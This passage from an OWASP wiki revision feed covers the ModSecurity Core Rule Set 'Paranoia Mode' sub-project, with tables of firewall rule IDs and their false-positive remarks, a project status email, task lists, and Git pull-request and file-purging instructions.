  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981313&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981314&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981315&lt;br /&gt;
  | UNKNOWN&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981316&lt;br /&gt;
  | SQL SELECT Statement Anomaly Detection Alert&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 981317&lt;br /&gt;
  | SQL SELECT Statement Anomaly Detection Alert&lt;br /&gt;
  | &lt;br /&gt;
|-&lt;br /&gt;
  | 990012&lt;br /&gt;
  | Rogue web site crawler&lt;br /&gt;
  | &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
====Optional, experimental, slr rules====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{|- class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 | 900048&lt;br /&gt;
 | Identifies Reflected XSS (optional_rules)&lt;br /&gt;
 | Walter: could be very interesting candidate but have not used it in production&lt;br /&gt;
|-&lt;br /&gt;
 | 920021, 920022, 920023&lt;br /&gt;
 | Possible Credit Card Track 1 Data Leakage. (experimental_rules)&lt;br /&gt;
 | Walter: could be interesting candidates but have not used it in production&lt;br /&gt;
|-&lt;br /&gt;
 | 981080, 920020, 920006&lt;br /&gt;
 | Detect CC# in output and block transaction (optional_rules)&lt;br /&gt;
 | Walter: could be interesting candidate but have not used it in production&lt;br /&gt;
|-&lt;br /&gt;
 | 900047, 900048, 981180, 981182&lt;br /&gt;
 | Identifies Stored XSS (optional_rules)&lt;br /&gt;
 | Walter: could be somewhat interesting candidate but have not used it in production&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Stricter siblings for existing rules ===&lt;br /&gt;
&lt;br /&gt;
Stricter Siblings are rules that are present in the CRS but could be accompanied by a stricter clone in Paranoia Mode. Adjustments can differ from rule to rule but include higher anomaly ratings or stricter triggers (e.g. regex counters). To prevent masses of false positives, rules can come with additional filters (chained rules) for common use-cases. These can either be included into Paranoia Mode or simply serve as a recommendation.&lt;br /&gt;
&lt;br /&gt;
Note: To avoid a cluttered project main-page, rule proposals are documented in their respective sub-page. When adding new proposals, make sure adding the rules original (2.2.x) ID, a quick description of what changes were made, and, if applicable, which additional filters were added. For every proposed rule change, we will create a [https://github.com/SpiderLabs/owasp-modsecurity-crs/issues Github issue]; after discussion a pull request will be created. For brainstorming about CRS rules, see our [[OWASP ModSecurity rule evaluation framework]].&lt;br /&gt;
&lt;br /&gt;
'''Possible siblings:'''&lt;br /&gt;
&lt;br /&gt;
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_981173|981173 : SQL Injection Character Anomaly Usage]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_981172|981172 : SQL Injection Character Anomaly Usage]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_981049|981049 : Potential Denial of Service (DoS)]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_970003|970003 : SQL Error Leakage]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_960901|960901 : Invalid character in request]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_958980|958980 : PHP Injection Attack: Variables Found]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_958979|958979 : PHP Injection Attack: Configuration Directive Found]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_958977|958977 : PHP Injection Attack: Function Name Found]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_950907|950907 : Remote Command Execution (RCE) Attempt]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_950001|950001 : SQL Injection Attack]]&lt;br /&gt;
&lt;br /&gt;
==Project Status==&lt;br /&gt;
&lt;br /&gt;
===Project Status January 30, 2016===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
Hello everybody,&lt;br /&gt;
&lt;br /&gt;
It's time to do a status report of our little core rules project.&lt;br /&gt;
&lt;br /&gt;
I am including Franziska Bühler and Walter Hop in this status mail.&lt;br /&gt;
Both are experienced ModSec sysadmins. Franziska contributed to this&lt;br /&gt;
first stage, Walter told me he does not have much time, but he&lt;br /&gt;
was interested in participating at least in the discussions about&lt;br /&gt;
the rules.&lt;br /&gt;
&lt;br /&gt;
All in all, this is taking more time than anticipated. But we&lt;br /&gt;
have also done things very throughly than I thought. Which is&lt;br /&gt;
generally a good thing.&lt;br /&gt;
&lt;br /&gt;
Done so far:&lt;br /&gt;
* Manuel has provided us with a list of rules removed between 2.2.x and 3.0.0rc1&lt;br /&gt;
* I have assembled a list of rules known to trigger false positives frequently in the 2.2.x ruleset, they are thus candidates for the paranoia mode&lt;br /&gt;
* Franziska has looked through the 3.0.0rc1 rules and identified a set of rules which look like good candidates.&lt;br /&gt;
* Noël has sharpened his skills by re-writing 981173 in a way that ignores innocent UUIDs. In my eyes, he found a very elegant solution.&lt;br /&gt;
* With the development of 3.0.0-dev, Chaim unfortunately reused rule ids formerly used with optional and experimental rules. Now this has all been renumbered. I have pointed this out in the mailinglist and had private contact with Chaim where he confirmed the fact - and promised to resolve the issue.&lt;br /&gt;
&lt;br /&gt;
We have not really looked at the disappeared rules and identified those&lt;br /&gt;
who should be brought back and have not been picked so far. This&lt;br /&gt;
includes the 2.2.X base_rules, but also the optional, experimental,&lt;br /&gt;
and huge stock of slr rules. Of these three groups, only the&lt;br /&gt;
anti-ddos rules have made it into 3.0.0. There are probably more&lt;br /&gt;
interesting candidates.&lt;br /&gt;
&lt;br /&gt;
If somebody among you wants to look into these, then that would be&lt;br /&gt;
welcome, but I do not want to have these tasks delay us any further.&lt;br /&gt;
After all, Old rules can also be brought back in subsequent releases&lt;br /&gt;
if we see a benefit.&lt;br /&gt;
&lt;br /&gt;
So the next real tasks are:&lt;br /&gt;
* Looking through the list of candidates and cloning-candidates (the latter are those rules we might accompany with a clone with stricter limits in paranoia mode).&lt;br /&gt;
* Defining the exact working of the paranoia mode.&lt;br /&gt;
&lt;br /&gt;
Please sit down and look through the rule lists in the wiki and add&lt;br /&gt;
remarks with regards to the candidate rules. If you think a rule&lt;br /&gt;
should be included, if you think an individual rule should not be&lt;br /&gt;
included etc.&lt;br /&gt;
&lt;br /&gt;
I am also going to invite the people on the mailinglist to take look at&lt;br /&gt;
the rules as well and add their remarks in the wiki (or respond via mail).&lt;br /&gt;
This should allow us to nail down the list of rules which will&lt;br /&gt;
actually be included in the paranoia mode.&lt;br /&gt;
&lt;br /&gt;
As for defining the exact working of the paranoia mode, I guess I&lt;br /&gt;
need to write down the idea I have in mind and see if it makes sense to&lt;br /&gt;
you.&lt;br /&gt;
&lt;br /&gt;
Thank you for contributing so far! It is a lot of fun to work in a team!&lt;br /&gt;
&lt;br /&gt;
Christian&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Git help==&lt;br /&gt;
&lt;br /&gt;
====How to Perform Pull Request to CRS v3.0.0-rc1====&lt;br /&gt;
&lt;br /&gt;
'''By Walter Hop'''&lt;br /&gt;
&lt;br /&gt;
This example assumes that the Github username is 'lifeforms', replace with your own username.&lt;br /&gt;
&lt;br /&gt;
'''Step 1. Create a Github fork of the original repository'''&lt;br /&gt;
* a. Browse to CRS: https://github.com/SpiderLabs/owasp-modsecurity-crs&lt;br /&gt;
* b. Click &amp;quot;Fork&amp;quot; button in the top right&lt;br /&gt;
&lt;br /&gt;
'''Step 2. Download your Github fork, and checkout the correct branch '''&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
git clone git@github.com:lifeforms/owasp-modsecurity-crs.git &amp;lt;br/&amp;gt;&lt;br /&gt;
cd owasp-modsecurity-crs &amp;lt;br/&amp;gt;&lt;br /&gt;
git checkout v3.0.0-rc1 &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Step 3. Add the original repository as upstream, to integrate new changes easily'''&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
	git remote add upstream git@github.com:SpiderLabs/owasp-modsecurity-crs.git&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Step 4. Make sure your forked repo is up to date with changes in the original repository'''&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You need to re-do these steps if somebody else made changes to upstream in the meantime!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
git checkout v3.0.0-rc1 &amp;lt;br/&amp;gt;&lt;br /&gt;
git fetch upstream &amp;lt;br/&amp;gt;&lt;br /&gt;
git merge --ff upstream/v3.0.0-rc1 &amp;lt;br/&amp;gt;&lt;br /&gt;
git push &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Step 5. Create a branch for every separate issue you'd like to fix.'''&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
git checkout -b myfeature v3.0.0-rc1&amp;lt;br/&amp;gt;&lt;br /&gt;
git push --set-upstream origin myfeature&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Step 6. Make local changes and commit them'''&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
git add ...&amp;lt;br/&amp;gt;&lt;br /&gt;
git commit&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Step 7. Push your local changes to your fork at Github'''&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
git push&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Step 8. Create the pull request'''&lt;br /&gt;
* a. Browse to your own fork: https://github.com/lifeforms/owasp-modsecurity-crs&lt;br /&gt;
* b. Click &amp;quot;New pull request&amp;quot; button&lt;br /&gt;
* c. In the &amp;quot;base fork&amp;quot;, ensure that the correct branch is selected: v3.0.0-rc1&lt;br /&gt;
* d. In the &amp;quot;head fork&amp;quot;, pick &amp;quot;myfeature&amp;quot; (if you used branches) or v3.0.0-rc1 (if you didn't)&lt;br /&gt;
* e. Review the content of the pull request (should only contain your commits)&lt;br /&gt;
* f. Press &amp;quot;Create pull request&amp;quot; button&lt;br /&gt;
&lt;br /&gt;
'''Optional: Updating your pull request'''&lt;br /&gt;
&lt;br /&gt;
After opening the pull request, people will review it, and probably will make some suggestions for changes before the PR can be accepted. You can keep pushing to your branch, and it will be reflected in the PR.&lt;br /&gt;
&lt;br /&gt;
If in the meantime the code in upstream has drifted, you should re-do step 4 above.&lt;br /&gt;
&lt;br /&gt;
Then, just change some files, commit and push.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
git add ...&amp;lt;br/&amp;gt;&lt;br /&gt;
git commit&amp;lt;br/&amp;gt;&lt;br /&gt;
git push&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
See also:&lt;br /&gt;
&lt;br /&gt;
* https://help.github.com/articles/fork-a-repo/&lt;br /&gt;
* https://help.github.com/articles/syncing-a-fork/&lt;br /&gt;
* https://help.github.com/articles/using-pull-requests/&lt;br /&gt;
&lt;br /&gt;
====Testing someone else's pull request====&lt;br /&gt;
To test a PR locally, use the following commands to create a branch for it.&lt;br /&gt;
&lt;br /&gt;
In this example we check out PR #427, creating a branch &amp;lt;tt&amp;gt;chaim-headers&amp;lt;/tt&amp;gt; locally (you can use any name):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
git fetch upstream pull/427/head:chaim-headers&lt;br /&gt;
git checkout chaim-headers&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Pushing to someone else's pull request====&lt;br /&gt;
In an editable PR, the PR will say something like:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Add more commits by pushing to the ExceptionSupport branch on csanders-git/owasp-modsecurity-crs.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To add to branch &amp;lt;tt&amp;gt;ExceptionSupport&amp;lt;/tt&amp;gt; of user &amp;lt;tt&amp;gt;csanders-git&amp;lt;/tt&amp;gt;, do:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
git remote add chaim git@github.com:csanders-git/owasp-modsecurity-crs.git&lt;br /&gt;
git fetch chaim&lt;br /&gt;
git co ExceptionSupport &lt;br /&gt;
git add ...&lt;br /&gt;
git push&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Purging a file completely from Git====&lt;br /&gt;
Delete the file from the repo:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
git rm file&lt;br /&gt;
git commit&lt;br /&gt;
git push&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Download [https://rtyley.github.io/bfg-repo-cleaner/ BFG Repo-Cleaner]&lt;br /&gt;
&lt;br /&gt;
Make a NEW mirror:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
git clone --mirror git@github.com:SpiderLabs/owasp-modsecurity-crs.git&lt;br /&gt;
cd owasp-modsecurity-crs.git&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Purge the file:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
java -jar ~/Downloads/bfg-*.jar --delete-files example.png&lt;br /&gt;
git reflog expire --expire=now --all &amp;amp;&amp;amp; git gc --prune=now --aggressive&lt;br /&gt;
git push -f&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
E-mail all users to REMOVE their copies of the repositories, and do a FRESH CLONE of the repo. If a user pulls again, the divergent histories will be merged, and there is a big risk that the dirty history (containing the purged file) will return again when they push later.&lt;br /&gt;
&lt;br /&gt;
See also: [https://rtyley.github.io/bfg-repo-cleaner/ BFG Repo-Cleaner]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP ModSecurity Core Rule Set Project]]&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_ModSec_CRS_Paranoia_Mode&amp;diff=238682</id>
		<title>OWASP ModSec CRS Paranoia Mode</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_ModSec_CRS_Paranoia_Mode&amp;diff=238682"/>
				<updated>2018-03-16T17:36:29Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Abstract==&lt;br /&gt;
&lt;br /&gt;
This is a page about the development of a paranoia mode aka bringing back the rules that used to yield a high number of false positives. This little project is aimed at inclusion into the 3.0.0 release of the OWASP ModSecurity Core Rules, where some rules have been removed in order to reduce the number of false positives with vanilla installations.&lt;br /&gt;
&lt;br /&gt;
FIXME: Detailed description&lt;br /&gt;
&lt;br /&gt;
''Back to the [[OWASP ModSecurity Core Rules Set]].''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Sub-Project Infos==&lt;br /&gt;
&lt;br /&gt;
* '''Status''': active (January 2016)&lt;br /&gt;
* '''Schedule''': '''DONE''' (we're all done and Paranoia Mode made it into the CRS3 release.&lt;br /&gt;
* '''Who''': Christian Folini (dune73), Noël Zindel (zino), Franziska Bühler (franziskabuehler), Manuel Leos (Spartan), Walter Hop (lifeforms)&lt;br /&gt;
* '''Documentation''': Here on the [https://www.owasp.org/index.php/OWASP_ModSec_CRS_Paranoia_Mode OWASP Wiki] / [https://www.netnea.com/cms/2016/02/04/owasp-modsecurity-core-rules-paranoia-mode-mechanics-proposal/ Mechanics Proposal]&lt;br /&gt;
* '''Discussion / Archive''': &amp;lt;tt&amp;gt;owasp-modsecurity-core-rule-set@lists.owasp.org&amp;lt;/tt&amp;gt; / archive: http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/&lt;br /&gt;
* '''Github Link v3.0.0-rc1 (our base)''': https://github.com/SpiderLabs/owasp-modsecurity-crs/tree/v3.0.0-rc1&lt;br /&gt;
* '''Github Link paranoia-mode''': https://github.com/dune73/owasp-modsecurity-crs/tree/paranoia-mode&lt;br /&gt;
* '''Final Pull Request #1: Add paranoia mode mechanics''': https://github.com/SpiderLabs/owasp-modsecurity-crs/pull/292 MERGED&lt;br /&gt;
* '''Final Pull Request #2: Move first rules to paranoia mode''': https://github.com/SpiderLabs/owasp-modsecurity-crs/pull/300 MERGED&lt;br /&gt;
* '''Final Pull Request #3: Add 2.2.X rules to paranoia mode''': https://github.com/SpiderLabs/owasp-modsecurity-crs/pull/308 MERGED&lt;br /&gt;
* '''Final Pull Request #4: Add stricter siblings''': FIXME&lt;br /&gt;
&lt;br /&gt;
==Tasks==&lt;br /&gt;
&lt;br /&gt;
===Open Tasks===&lt;br /&gt;
&lt;br /&gt;
Please define state as follows: ''new'', ''assigned'', ''waiting'', ''closed''. When a task is closed, it is moved to the seperate closed tasks table below.&lt;br /&gt;
&lt;br /&gt;
{|- class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
  |'''Task'''&lt;br /&gt;
  | &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;'''Who'''&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
  | &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;'''Status'''&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
  | Write pull request number 4&lt;br /&gt;
  | n.n.&lt;br /&gt;
  | new&lt;br /&gt;
|-&lt;br /&gt;
  | Submit pull request number 4&lt;br /&gt;
  | n.n.&lt;br /&gt;
  | new&lt;br /&gt;
|-&lt;br /&gt;
  | Draw flowchart&lt;br /&gt;
  | n.n.&lt;br /&gt;
  | new&lt;br /&gt;
|-&lt;br /&gt;
  | Write documentation&lt;br /&gt;
  | Christian&lt;br /&gt;
  | new&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
===Closed Tasks===&lt;br /&gt;
&lt;br /&gt;
{|- class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
  |'''Task'''&lt;br /&gt;
  | &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;'''Who'''&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
  | &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;'''Status'''&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
  | Assemble list of rules, which triggered false positives in 2.2.X frequently&lt;br /&gt;
  | Christian&lt;br /&gt;
  | closed&lt;br /&gt;
|-&lt;br /&gt;
  | Assemble list of 2.2.x rules, which have disappeared from 3.0.0-rc1&lt;br /&gt;
  | Spartan&lt;br /&gt;
  | closed&lt;br /&gt;
|-&lt;br /&gt;
  | Assemble list of 3.0.0-rc1 rules, which could be accompanied with&amp;lt;br /&amp;gt;stricter siblings in paranoia mode&amp;lt;br /&amp;gt;(same idea of the rule, but harder limit etc.)&lt;br /&gt;
  | Christian&lt;br /&gt;
  | closed&lt;br /&gt;
|-&lt;br /&gt;
  | Assemble list of 3.0.0-rc1 rules, which could be moved to the paranoia mode&lt;br /&gt;
  | Franziska&lt;br /&gt;
  | closed&lt;br /&gt;
|-&lt;br /&gt;
  | Assemble list of disappeared / missing 2.2.X base_rules, which should be brought back&lt;br /&gt;
  | group&lt;br /&gt;
  | closed&lt;br /&gt;
|-&lt;br /&gt;
  | Assemble list of 2.2.X optional and experimental rules, which should be brought back&lt;br /&gt;
  | group&lt;br /&gt;
  | closed (could be repeated more throughly)&lt;br /&gt;
|-&lt;br /&gt;
  | Nail down final list of rules which should be moved / recreated into the paranoia mode&lt;br /&gt;
  | group&lt;br /&gt;
  | closed&lt;br /&gt;
|-&lt;br /&gt;
  | Sort out mechanics of the paranoia mode&lt;br /&gt;
  | Christian&lt;br /&gt;
  | closed&lt;br /&gt;
|-&lt;br /&gt;
  | Write new stricter siblings for existing rules&lt;br /&gt;
  | Noël&lt;br /&gt;
  | closed&lt;br /&gt;
|-&lt;br /&gt;
  | Define ID-space for strict siblings&lt;br /&gt;
  | Fraziska, group&lt;br /&gt;
  | closed&lt;br /&gt;
|-&lt;br /&gt;
  | Define exact syntax of paranoia mode setup&lt;br /&gt;
  | Christian, group&lt;br /&gt;
  | closed&lt;br /&gt;
|-&lt;br /&gt;
  | Sort out name: Is &amp;quot;Paranoia Mode&amp;quot; really the right term?&lt;br /&gt;
  | Christian, group&lt;br /&gt;
  | closed&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Rules==&lt;br /&gt;
&lt;br /&gt;
===Paranoia Mode Candidates===&lt;br /&gt;
&lt;br /&gt;
The 3.0.0-rc1 has all rules renumbered. Existing numbering was fairly crazy and the new numbering follows the numbering scheme of the rules files (-&amp;gt; 9&amp;lt;2-digit-rulefile&amp;gt;&amp;lt;3-digit-id&amp;gt;)&lt;br /&gt;
A mapping table exists [[https://github.com/SpiderLabs/owasp-modsecurity-crs/blob/v3.0.0-rc1/id_renumbering/IdNumbering.csv IdNumbering.csv]]&lt;br /&gt;
We need to make sure, we do not mess things up, so let's add both IDs to the table, the old one and the new one.&lt;br /&gt;
&lt;br /&gt;
Please set status as follows : ''confirmed'',''candidate'', ''cloning-confirmed'',''cloning-candidate'', ''unsure'', ''dropped''. &lt;br /&gt;
* 'cloning-confirmed', 'cloning-candidates' are rules, that could be cloned into an even stricter variant with a stricter limit in a higher paranoia setting.&lt;br /&gt;
* If dropped, please provide reasoning in the remarks.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{|- class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
  |'''RuleID 2.2.x'''&lt;br /&gt;
  |'''RuleID 3.0.0-rc1'''&lt;br /&gt;
  | &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;'''msg'''&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
  | &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;'''Status'''&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
  | &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;'''Remarks'''&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
  | 950001&lt;br /&gt;
  | 942150&lt;br /&gt;
  | SQL Injection Attack&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives. Also Franziska's candidate: @pmf file with very short function names, could match frequently.&lt;br /&gt;
|-&lt;br /&gt;
  | 950109&lt;br /&gt;
  | 920230&lt;br /&gt;
  | Multiple URL Encoding Detected&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives&lt;br /&gt;
|-&lt;br /&gt;
  | 950120&lt;br /&gt;
  | 931130&lt;br /&gt;
  | Possible Remote File Inclusion (RFI) Attack: Off-Domain Reference/Link&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Walter's 2.2.X candidate: many FP; Chrstian: hardly any FPs; &amp;lt;br/&amp;gt;discussion concluded, that rule should end up in paranoia mode, possibly with additional conditions to reduce FPs (scope outside of this paranoia mode project)&amp;lt;br/&amp;gt;[http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001885.html Link to discussion]&lt;br /&gt;
|-&lt;br /&gt;
  | 960335&lt;br /&gt;
  | 920380&lt;br /&gt;
  | Too many arguments in request&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Walter's 2.2.X candidate: some FP (phpMyAdmin, large forms), alternatively would recommend raising &amp;lt;code&amp;gt;tx.max_num_args&amp;lt;/code&amp;gt; to 1000&lt;br /&gt;
|-&lt;br /&gt;
  | 950901&lt;br /&gt;
  | 942130&lt;br /&gt;
  | SQL Injection Attack: SQL Tautology Detected.&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: very frequently false positives. Also Franziska's candidate: legitimate sentences could match. Walter's 2.2.x experience: many FP in natural text however the rule seems to have merit&lt;br /&gt;
|-&lt;br /&gt;
  | 950916&lt;br /&gt;
  | 921170&lt;br /&gt;
  | HTTP Header Injection Attack via payload (CR/LF detected)&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Franziska's candidate: change action from pass to block and move to paranoia mode.&lt;br /&gt;
|-&lt;br /&gt;
  | 959070&lt;br /&gt;
  | gone -&amp;gt; 942380  &lt;br /&gt;
  | SQL Injection Attack&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives&lt;br /&gt;
|-&lt;br /&gt;
  | 959071&lt;br /&gt;
  | gone -&amp;gt; 942390 &lt;br /&gt;
  | SQL Injection Attack&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives&lt;br /&gt;
|-&lt;br /&gt;
  | 959072&lt;br /&gt;
  | gone -&amp;gt; 942400  &lt;br /&gt;
  | SQL Injection Attack&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives&lt;br /&gt;
|-&lt;br /&gt;
  | 959073&lt;br /&gt;
  | gone -&amp;gt; 942410  &lt;br /&gt;
  | SQL Injection Attack&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: very frequently false positives&lt;br /&gt;
|-&lt;br /&gt;
  | 960015&lt;br /&gt;
  | 920300&lt;br /&gt;
  | Request Missing an Accept Header&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: very frequently false positives. Also Franziska's candidate: Not every legitimate client behaves correctly. Walter's experience: many FP (PHP SoapClient)&amp;lt;br/&amp;gt;Discussion concluded it's moved to paranoia mode.&amp;lt;br/&amp;gt;[http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001888.html Link to discussion]&amp;lt;br/&amp;gt;Spartan: Many mobile devices do not send this header, very high FP.&lt;br /&gt;
|-&lt;br /&gt;
  | 960024&lt;br /&gt;
  | gone -&amp;gt; 942460 &lt;br /&gt;
  | Meta-Character Anomaly Detection Alert - Repetative Non-Word Characters&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: very frequently false positives&lt;br /&gt;
|-&lt;br /&gt;
  | 960035&lt;br /&gt;
  | 920440&lt;br /&gt;
  | URL file extension is restricted by policy&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives&lt;br /&gt;
|-&lt;br /&gt;
  | 970901&lt;br /&gt;
  | 950100&lt;br /&gt;
  | The Application Returned a 500-Level Status Code&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Franziska's candidate: too strict, too generic, no data leakage happened so far. Walter: it's useful however to prevent attacker from distinguishing between a failed SQLi attempt (403 blocked by ModSec) or a query error due to vulnerable app (500 from application); &amp;lt;br/&amp;gt;Discussion resolved with move to paranoia mode. 403 will cloak a backend error, which is hard for an inexperienced admin and thus complicates things in standard installations&amp;lt;br/&amp;gt;[http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001889.html Link to discussion]&lt;br /&gt;
|-&lt;br /&gt;
  | 973300&lt;br /&gt;
  | gone -&amp;gt; 941320 &lt;br /&gt;
  | Possible XSS Attack Detected - HTML Tag Handler&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives. Walter: low FP&lt;br /&gt;
|-&lt;br /&gt;
  | 973332&lt;br /&gt;
  | gone -&amp;gt; 941330 &lt;br /&gt;
  | IE XSS Filters - Attack Detected.&lt;br /&gt;
  | confirmed&lt;br /&gt;
